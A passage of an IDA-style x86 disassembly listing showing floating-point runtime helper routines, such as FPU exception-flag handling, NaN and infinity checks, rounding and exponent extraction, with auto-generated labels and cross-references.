		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB938, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D330, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42705C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF30
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF20
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF30
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF30
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF20
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF20
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB938, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB938, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE48


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF20
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE4C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

